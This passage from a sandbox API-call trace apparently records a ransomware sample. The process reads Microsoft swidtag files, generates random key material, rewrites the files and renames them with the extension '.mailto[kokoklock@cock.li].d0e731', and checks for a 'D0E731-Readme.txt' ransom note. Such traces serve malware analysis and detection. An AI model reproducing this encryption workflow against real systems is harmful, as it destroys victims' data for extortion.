SetFileAttributesW (lpFileName="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag", dwFileAttributes=0x20) returned 0 [0076.518] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x84) returned 0x33e2cc0 [0076.518] wcscpy (in: _Dest=0x33e2cc0, _Source="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\" | out: _Dest="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\") returned="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\" [0076.518] wcscat (in: _Dest=0x33e2cc0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\D0E731-Readme.txt" [0076.518] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\regid.1991-06.com.microsoft\\d0e731-readme.txt")) returned 0x20 [0076.519] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e2cc0) returned 1 [0076.519] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347d5c8) returned 1 [0076.519] RtlExitUserThread (Status=0x1) Thread: id = 816 os_tid = 0x113c [0076.520] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag" (normalized: "c:\\users\\all users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft office 16 click-to-run localization component.swidtag")) returned 0x20 [0076.520] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag", dwFileAttributes=0x20) returned 1 [0076.520] CreateFileW (lpFileName="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag" (normalized: "c:\\users\\all users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft office 16 click-to-run localization component.swidtag"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9fc [0076.520] GetFileSizeEx (in: hFile=0x9fc, lpFileSize=0x1e5bf818 | out: lpFileSize=0x1e5bf818*=1071) returned 1 [0076.520] SetFilePointerEx (in: hFile=0x9fc, liDistanceToMove=0x42b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.521] ReadFile (in: hFile=0x9fc, lpBuffer=0x1e5bf7ec, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1e5bf7e8, lpOverlapped=0x0 | out: lpBuffer=0x1e5bf7ec*, lpNumberOfBytesRead=0x1e5bf7e8*=0x4, lpOverlapped=0x0) returned 1 [0076.522] SetFilePointerEx (in: hFile=0x9fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.522] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e3e8 [0076.522] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ea78 [0076.522] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478c60 [0076.522] NtQuerySystemTime (in: CurrentTime=0x1e5bf7c4 | out: CurrentTime=0x1e5bf7c4*=132121176344096484) returned 0x0 [0076.522] RtlRandom (in: Seed=0x1e5bf7d0 | out: Seed=0x1e5bf7d0) returned 0xa99cb92 [0076.522] RtlRandom (in: Seed=0x1e5bf7d0 | out: Seed=0x1e5bf7d0) returned 0xd25b6902 [0076.522] RtlRandom (in: Seed=0x1e5bf7d0 | out: Seed=0x1e5bf7d0) returned 0x65747069 [0076.522] RtlRandom (in: Seed=0x1e5bf7d0 | out: Seed=0x1e5bf7d0) returned 0xb9e6a792 [0076.522] RtlRandom (in: Seed=0x1e5bf7d0 | out: Seed=0x1e5bf7d0) returned 0x61b23f5f [0076.522] RtlRandom (in: Seed=0x1e5bf7d0 | out: Seed=0x1e5bf7d0) returned 0x3ab83e58 [0076.522] RtlRandom (in: Seed=0x1e5bf7d0 | out: Seed=0x1e5bf7d0) returned 0xfc93de0a [0076.522] RtlRandom (in: Seed=0x1e5bf7d0 | out: Seed=0x1e5bf7d0) returned 0xba8c87ad [0076.522] RtlRandom (in: Seed=0x1e5bf7d0 | out: Seed=0x1e5bf7d0) returned 0x188a7717 [0076.522] RtlRandom (in: Seed=0x1e5bf7d0 | out: Seed=0x1e5bf7d0) returned 0x6cf71dbb [0076.522] RtlRandom (in: Seed=0x1e5bf7d0 | out: Seed=0x1e5bf7d0) returned 0x4a9f115b [0076.522] RtlRandom (in: Seed=0x1e5bf7d0 | out: Seed=0x1e5bf7d0) returned 0x4133810b [0076.523] RtlRandom (in: Seed=0x1e5bf7d0 | out: Seed=0x1e5bf7d0) returned 0x7064c68f [0076.523] RtlRandom (in: Seed=0x1e5bf7d0 | out: Seed=0x1e5bf7d0) returned 0xac313ac6 [0076.523] RtlRandom (in: Seed=0x1e5bf7d0 | out: Seed=0x1e5bf7d0) returned 0xc1e4aab1 [0076.523] RtlRandom (in: Seed=0x1e5bf7d0 | out: Seed=0x1e5bf7d0) returned 0xd0b5ab5f [0076.523] RtlRandom (in: Seed=0x1e5bf7d0 | out: Seed=0x1e5bf7d0) returned 0xfdf2d972 [0076.523] RtlRandom (in: Seed=0x1e5bf7d0 | out: Seed=0x1e5bf7d0) returned 0x698d512c [0076.523] RtlRandom (in: Seed=0x1e5bf7d0 | out: Seed=0x1e5bf7d0) returned 0x74143dc3 [0076.523] RtlRandom (in: Seed=0x1e5bf7d0 | out: Seed=0x1e5bf7d0) returned 0xf65be76f [0076.523] RtlRandom (in: Seed=0x1e5bf7d0 | out: Seed=0x1e5bf7d0) returned 0xb97cb5aa [0076.523] RtlRandom (in: Seed=0x1e5bf7d0 | out: Seed=0x1e5bf7d0) returned 0xe416a5b5 [0076.523] RtlRandom (in: Seed=0x1e5bf7d0 | out: Seed=0x1e5bf7d0) returned 0xa28cfd0c [0076.523] RtlRandom (in: Seed=0x1e5bf7d0 | out: Seed=0x1e5bf7d0) returned 0xb31226c7 [0076.523] RtlRandom (in: Seed=0x1e5bf7d0 | out: Seed=0x1e5bf7d0) returned 0x99a978b3 [0076.523] RtlRandom (in: Seed=0x1e5bf7d0 | out: Seed=0x1e5bf7d0) returned 0xe50ce525 [0076.523] RtlRandom (in: Seed=0x1e5bf7d0 | out: Seed=0x1e5bf7d0) returned 0xbee93093 [0076.523] RtlRandom (in: Seed=0x1e5bf7d0 | out: Seed=0x1e5bf7d0) returned 0x3a62d3 [0076.523] RtlRandom (in: Seed=0x1e5bf7d0 | out: Seed=0x1e5bf7d0) returned 0x8508069b [0076.523] RtlRandom (in: Seed=0x1e5bf7d0 | out: Seed=0x1e5bf7d0) returned 0xd8c4e012 [0076.523] RtlRandom (in: Seed=0x1e5bf7d0 | out: Seed=0x1e5bf7d0) returned 0x29ee8e24 [0076.523] RtlRandom (in: Seed=0x1e5bf7d0 | out: Seed=0x1e5bf7d0) returned 0xd4a94495 [0076.534] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479e98) returned 1 [0076.534] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e3e8) returned 1 [0076.534] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd628 [0076.534] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479a60 [0076.534] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479688 [0076.534] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479688) returned 1 [0076.534] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0076.534] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0076.534] ReadFile (in: hFile=0x9fc, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x42f, lpNumberOfBytesRead=0x1e5bf7c4, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x1e5bf7c4*=0x42f, lpOverlapped=0x0) returned 1 [0076.534] SetFilePointerEx (in: hFile=0x9fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e5bf78c | out: lpNewFilePointer=0x0) returned 1 [0076.534] WriteFile (in: hFile=0x9fc, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x42f, lpNumberOfBytesWritten=0x1e5bf7c0, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x1e5bf7c0*=0x42f, lpOverlapped=0x0) returned 1 [0076.534] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479688 [0076.534] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e3e8 [0076.535] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e3e8) returned 1 [0076.535] WriteFile (in: hFile=0x9fc, lpBuffer=0x3479688*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1e5bf7bc, lpOverlapped=0x0 | out: lpBuffer=0x3479688*, lpNumberOfBytesWritten=0x1e5bf7bc*=0x20, lpOverlapped=0x0) returned 1 [0076.535] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479688) returned 1 [0076.535] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0076.535] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0076.535] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0076.535] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd628) returned 1 [0076.535] WriteFile (in: hFile=0x9fc, lpBuffer=0x3479570*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1e5bf7e8, lpOverlapped=0x0 | out: lpBuffer=0x3479570*, lpNumberOfBytesWritten=0x1e5bf7e8*=0x8, lpOverlapped=0x0) returned 1 [0076.535] WriteFile (in: hFile=0x9fc, lpBuffer=0x1e5bf800*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1e5bf7e8, lpOverlapped=0x0 | out: lpBuffer=0x1e5bf800*, lpNumberOfBytesWritten=0x1e5bf7e8*=0x4, lpOverlapped=0x0) returned 1 [0076.535] WriteFile (in: hFile=0x9fc, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1e5bf7e8, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1e5bf7e8*=0x4, lpOverlapped=0x0) returned 1 [0076.535] WriteFile (in: hFile=0x9fc, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1e5bf7e8, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1e5bf7e8*=0x6c, lpOverlapped=0x0) returned 1 [0076.535] WriteFile (in: hFile=0x9fc, lpBuffer=0x341ea78*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1e5bf7e8, lpOverlapped=0x0 | out: lpBuffer=0x341ea78*, lpNumberOfBytesWritten=0x1e5bf7e8*=0x20, lpOverlapped=0x0) returned 1 [0076.535] WriteFile (in: hFile=0x9fc, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1e5bf7e8, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1e5bf7e8*=0x4, lpOverlapped=0x0) returned 1 [0076.535] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ea78) returned 1 [0076.535] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478c88) returned 1 [0076.536] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479570) returned 1 [0076.536] CloseHandle (hObject=0x9fc) returned 1 [0076.536] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x144) returned 0x341a518 [0076.536] wcscpy (in: _Dest=0x341a518, _Source="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag" | out: _Dest="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag") returned="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag" [0076.536] wcscat (in: _Dest=0x341a518, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag.mailto[kokoklock@cock.li].d0e731" [0076.536] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag" (normalized: "c:\\users\\all users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft office 16 click-to-run localization component.swidtag"), lpNewFileName="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft office 16 click-to-run localization component.swidtag.mailto[kokoklock@cock.li].d0e731")) returned 1 [0076.537] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0076.537] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341a518) returned 1 [0076.537] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag", dwFileAttributes=0x20) returned 0 [0076.537] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x84) returned 0x33e32f0 [0076.537] wcscpy (in: _Dest=0x33e32f0, _Source="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\" | out: _Dest="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\") returned="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\" [0076.537] wcscat (in: _Dest=0x33e32f0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\D0E731-Readme.txt" [0076.537] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\regid.1991-06.com.microsoft\\d0e731-readme.txt")) returned 0x20 [0076.537] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e32f0) returned 1 [0076.537] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347d6d0) returned 1 [0076.537] RtlExitUserThread (Status=0x1) Thread: id = 817 os_tid = 0x1144 [0076.538] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft_Windows-10-Pro.swidtag" (normalized: "c:\\users\\all users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft_windows-10-pro.swidtag")) returned 0x20 [0076.539] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft_Windows-10-Pro.swidtag", dwFileAttributes=0x20) returned 1 [0076.539] CreateFileW (lpFileName="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft_Windows-10-Pro.swidtag" (normalized: "c:\\users\\all users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft_windows-10-pro.swidtag"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9fc [0076.539] GetFileSizeEx (in: hFile=0x9fc, lpFileSize=0x1e63f9cc | out: lpFileSize=0x1e63f9cc*=997) returned 1 [0076.539] SetFilePointerEx (in: hFile=0x9fc, liDistanceToMove=0x3e1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.539] ReadFile (in: hFile=0x9fc, lpBuffer=0x1e63f9a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1e63f99c, lpOverlapped=0x0 | out: lpBuffer=0x1e63f9a0*, lpNumberOfBytesRead=0x1e63f99c*=0x4, lpOverlapped=0x0) returned 1 [0076.540] SetFilePointerEx (in: hFile=0x9fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.541] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ea78 [0076.541] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e3e8 [0076.541] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479570 [0076.541] NtQuerySystemTime (in: CurrentTime=0x1e63f978 | out: CurrentTime=0x1e63f978*=132121176344409263) returned 0x0 [0076.541] RtlRandom (in: Seed=0x1e63f984 | out: Seed=0x1e63f984) returned 0xa0320961 [0076.541] RtlRandom (in: Seed=0x1e63f984 | out: Seed=0x1e63f984) returned 0xa30fdd4d [0076.541] RtlRandom (in: Seed=0x1e63f984 | out: Seed=0x1e63f984) returned 0xc4850f33 [0076.541] RtlRandom (in: Seed=0x1e63f984 | out: Seed=0x1e63f984) returned 0x892cc7cb [0076.541] RtlRandom (in: Seed=0x1e63f984 | out: Seed=0x1e63f984) returned 0xe72c2a74 [0076.541] RtlRandom (in: Seed=0x1e63f984 | out: Seed=0x1e63f984) returned 0xef1749c3 [0076.541] RtlRandom (in: Seed=0x1e63f984 | out: Seed=0x1e63f984) returned 0xccd084a4 [0076.541] RtlRandom (in: Seed=0x1e63f984 | out: Seed=0x1e63f984) returned 0xf5767101 [0076.541] RtlRandom (in: Seed=0x1e63f984 | out: Seed=0x1e63f984) returned 0xb7d12e3a [0076.541] RtlRandom (in: Seed=0x1e63f984 | out: Seed=0x1e63f984) returned 0x7a3cfa68 [0076.541] RtlRandom (in: Seed=0x1e63f984 | out: Seed=0x1e63f984) returned 0xdb4e2e83 [0076.541] RtlRandom (in: Seed=0x1e63f984 | out: Seed=0x1e63f984) returned 0x405f1722 [0076.541] RtlRandom (in: Seed=0x1e63f984 | out: Seed=0x1e63f984) returned 0xc399f738 [0076.541] RtlRandom (in: Seed=0x1e63f984 | out: Seed=0x1e63f984) returned 0x7909d89d [0076.541] RtlRandom (in: Seed=0x1e63f984 | out: Seed=0x1e63f984) returned 0x4fde84f [0076.541] RtlRandom (in: Seed=0x1e63f984 | out: Seed=0x1e63f984) returned 0xe5ecc87e [0076.541] RtlRandom (in: Seed=0x1e63f984 | out: Seed=0x1e63f984) returned 0xc0f7d8c [0076.541] RtlRandom (in: Seed=0x1e63f984 | out: Seed=0x1e63f984) returned 0x37d8bc20 [0076.541] RtlRandom (in: Seed=0x1e63f984 | out: Seed=0x1e63f984) returned 0x2b5647ab [0076.541] RtlRandom (in: Seed=0x1e63f984 | out: Seed=0x1e63f984) returned 0x4afd8363 [0076.541] RtlRandom (in: Seed=0x1e63f984 | out: Seed=0x1e63f984) returned 0x6514fd3e [0076.541] RtlRandom (in: Seed=0x1e63f984 | out: Seed=0x1e63f984) returned 0x7e5ae394 [0076.541] RtlRandom (in: Seed=0x1e63f984 | out: Seed=0x1e63f984) returned 0x435d7b24 [0076.541] RtlRandom (in: Seed=0x1e63f984 | out: Seed=0x1e63f984) returned 0x8858d401 [0076.541] RtlRandom (in: Seed=0x1e63f984 | out: Seed=0x1e63f984) returned 0x902fb565 [0076.541] RtlRandom (in: Seed=0x1e63f984 | out: Seed=0x1e63f984) returned 0xe1a21d9a [0076.541] RtlRandom (in: Seed=0x1e63f984 | out: Seed=0x1e63f984) returned 0xea795f35 [0076.541] RtlRandom (in: Seed=0x1e63f984 | out: Seed=0x1e63f984) returned 0xfb29a952 [0076.542] RtlRandom (in: Seed=0x1e63f984 | out: Seed=0x1e63f984) returned 0xf55603f2 [0076.542] RtlRandom (in: Seed=0x1e63f984 | out: Seed=0x1e63f984) returned 0x92a3cb29 [0076.542] RtlRandom (in: Seed=0x1e63f984 | out: Seed=0x1e63f984) returned 0x8dbe189d [0076.542] RtlRandom (in: Seed=0x1e63f984 | out: Seed=0x1e63f984) returned 0xa1314c57 [0076.552] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479e98) returned 1 [0076.553] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ea78) returned 1 [0076.553] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd628 [0076.553] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479a60 [0076.553] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ea78 [0076.553] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ea78) returned 1 [0076.553] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0076.553] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0076.553] ReadFile (in: hFile=0x9fc, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x3e5, lpNumberOfBytesRead=0x1e63f978, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x1e63f978*=0x3e5, lpOverlapped=0x0) returned 1 [0076.553] SetFilePointerEx (in: hFile=0x9fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e63f940 | out: lpNewFilePointer=0x0) returned 1 [0076.553] WriteFile (in: hFile=0x9fc, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x3e5, lpNumberOfBytesWritten=0x1e63f974, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x1e63f974*=0x3e5, lpOverlapped=0x0) returned 1 [0076.553] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ea78 [0076.553] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34927a8 [0076.553] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34927a8) returned 1 [0076.553] WriteFile (in: hFile=0x9fc, lpBuffer=0x341ea78*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1e63f970, lpOverlapped=0x0 | out: lpBuffer=0x341ea78*, lpNumberOfBytesWritten=0x1e63f970*=0x20, lpOverlapped=0x0) returned 1 [0076.553] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ea78) returned 1 [0076.553] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0076.553] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0076.553] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0076.554] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd628) returned 1 [0076.554] WriteFile (in: hFile=0x9fc, lpBuffer=0x3478c88*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1e63f99c, lpOverlapped=0x0 | out: lpBuffer=0x3478c88*, lpNumberOfBytesWritten=0x1e63f99c*=0x8, lpOverlapped=0x0) returned 1 [0076.554] WriteFile (in: hFile=0x9fc, lpBuffer=0x1e63f9b4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1e63f99c, lpOverlapped=0x0 | out: lpBuffer=0x1e63f9b4*, lpNumberOfBytesWritten=0x1e63f99c*=0x4, lpOverlapped=0x0) returned 1 [0076.554] WriteFile (in: hFile=0x9fc, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1e63f99c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1e63f99c*=0x4, lpOverlapped=0x0) returned 1 [0076.554] WriteFile (in: hFile=0x9fc, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1e63f99c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1e63f99c*=0x6c, lpOverlapped=0x0) returned 1 [0076.554] WriteFile (in: hFile=0x9fc, lpBuffer=0x341e3e8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1e63f99c, lpOverlapped=0x0 | out: lpBuffer=0x341e3e8*, lpNumberOfBytesWritten=0x1e63f99c*=0x20, lpOverlapped=0x0) returned 1 [0076.554] WriteFile (in: hFile=0x9fc, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1e63f99c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1e63f99c*=0x4, lpOverlapped=0x0) returned 1 [0076.554] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e3e8) returned 1 [0076.554] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479688) returned 1 [0076.554] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478c88) returned 1 [0076.554] CloseHandle (hObject=0x9fc) returned 1 [0076.554] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x106) returned 0x3424900 [0076.554] wcscpy (in: _Dest=0x3424900, _Source="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft_Windows-10-Pro.swidtag" | out: _Dest="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft_Windows-10-Pro.swidtag") returned="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft_Windows-10-Pro.swidtag" [0076.555] wcscat (in: _Dest=0x3424900, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft_Windows-10-Pro.swidtag.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft_Windows-10-Pro.swidtag.mailto[kokoklock@cock.li].d0e731" [0076.555] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft_Windows-10-Pro.swidtag" (normalized: "c:\\users\\all users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft_windows-10-pro.swidtag"), lpNewFileName="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft_Windows-10-Pro.swidtag.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft_windows-10-pro.swidtag.mailto[kokoklock@cock.li].d0e731")) returned 1 [0076.559] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft_Windows-10-Pro.swidtag.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0076.559] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3424900) returned 1 [0076.559] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft_Windows-10-Pro.swidtag", dwFileAttributes=0x20) returned 0 [0076.559] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x84) returned 0x33e32f0 [0076.559] wcscpy (in: _Dest=0x33e32f0, _Source="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\" | out: _Dest="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\") returned="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\" [0076.560] wcscat (in: _Dest=0x33e32f0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\D0E731-Readme.txt") returned="C:\\Users\\All 